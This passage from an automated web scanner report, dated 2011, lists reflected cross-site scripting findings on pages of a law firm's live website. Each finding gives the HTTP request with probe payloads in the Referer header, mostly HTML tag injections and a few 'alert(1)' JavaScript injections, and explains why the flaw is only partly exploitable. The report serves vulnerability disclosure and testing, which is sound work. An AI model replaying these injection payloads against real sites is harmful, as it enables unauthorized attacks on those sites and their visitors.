Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /events.cfm?id=670&action=view HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=5d1f7'-alert(1)-'2b3427d18c5
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:34 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 685f0"><a>2390de3ec9b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /experience.cfm?action=case_study HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=685f0"><a>2390de3ec9b
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:28:11 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3530c"><a>dd14a6ab469 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /global_reach.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=3530c"><a>dd14a6ab469
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:30 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
<html> <head>
<title>Arnold & Porter LLP - Global Reach</title> <meta name="Description" con ...[SNIP]... <a href="http://www.google.com/search?hl=en&q=3530c"><a>dd14a6ab469"> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd76e"><a>5d9b079dc37 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /globals_disclaimer.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=dd76e"><a>5d9b079dc37
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c77c2"><a>9d93e2dce00 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /globals_llp_status.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=c77c2"><a>9d93e2dce00
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:55 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92616"><a>de3dc2ef1b7 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /globals_non_discrimination.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=92616"><a>de3dc2ef1b7
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:28:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca343"><a>0d72f0518a2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /globals_operating_status.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=ca343"><a>0d72f0518a2
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:28:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 313f3"><a>936b59feb4b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /globals_privacy_policy.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=313f3"><a>936b59feb4b
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:28:01 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92192"><a>3d473dc6629 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /globals_statement_clients_rights.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=92192"><a>3d473dc6629
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:28:02 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2235a"><a>2aadc693209 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /home.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=2235a"><a>2aadc693209
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29b3e"><a>0cbb16e6270 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /industries.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=29b3e"><a>0cbb16e6270
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:30 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fdc66'-alert(1)-'26a6562a480 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /multimedia.cfm?action=view&id=674&t=event HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=fdc66'-alert(1)-'26a6562a480
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
<html> <head>
<title>Arnold & Porter LLP - WEBCAST: Implications of the Dodd-Frank Act for Non- ...[SNIP]... d_capture_file).click(function() { $.post("process_user_capture.cfm", { name: name, company: company, email: email, from: 'http://www.google.com/search?hl=en&q=fdc66'-alert(1)-'26a6562a480', document: $(this).attr('id').replace('doc', '') }, function(data) { }, "json"); }); if (requested_capture_forward == '') { setTimeout('$("#doc" + r ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50ec5"><a>383cf4ea404 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /multimedia.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=50ec5"><a>383cf4ea404
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:08 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7333"><a>a3f64588368 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /news.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=b7333"><a>a3f64588368
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:02 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39941"><a>6ed2a9d4dd6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /offices.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=39941"><a>6ed2a9d4dd6
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5d0e"><a>3554c2ba7f3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /practices.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=a5d0e"><a>3554c2ba7f3
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:23 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
<html> <head>
<title>Arnold & Porter LLP - Practice Areas & Industries</title> <meta nam ...[SNIP]... <a href="http://www.google.com/search?hl=en&q=a5d0e"><a>3554c2ba7f3"> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9aac8"><a>6236487f9fd was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /press_releases.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=9aac8"><a>6236487f9fd
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75416"><a>0aa9a2a2b09 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /professionals.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=75416"><a>0aa9a2a2b09
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
<html> <head>
<title>Arnold & Porter LLP - Find an Attorney or Professional</title> <meta na ...[SNIP]... <a href="http://www.google.com/search?hl=en&q=75416"><a>0aa9a2a2b09"> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e6ed"><a>0d08c6799e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
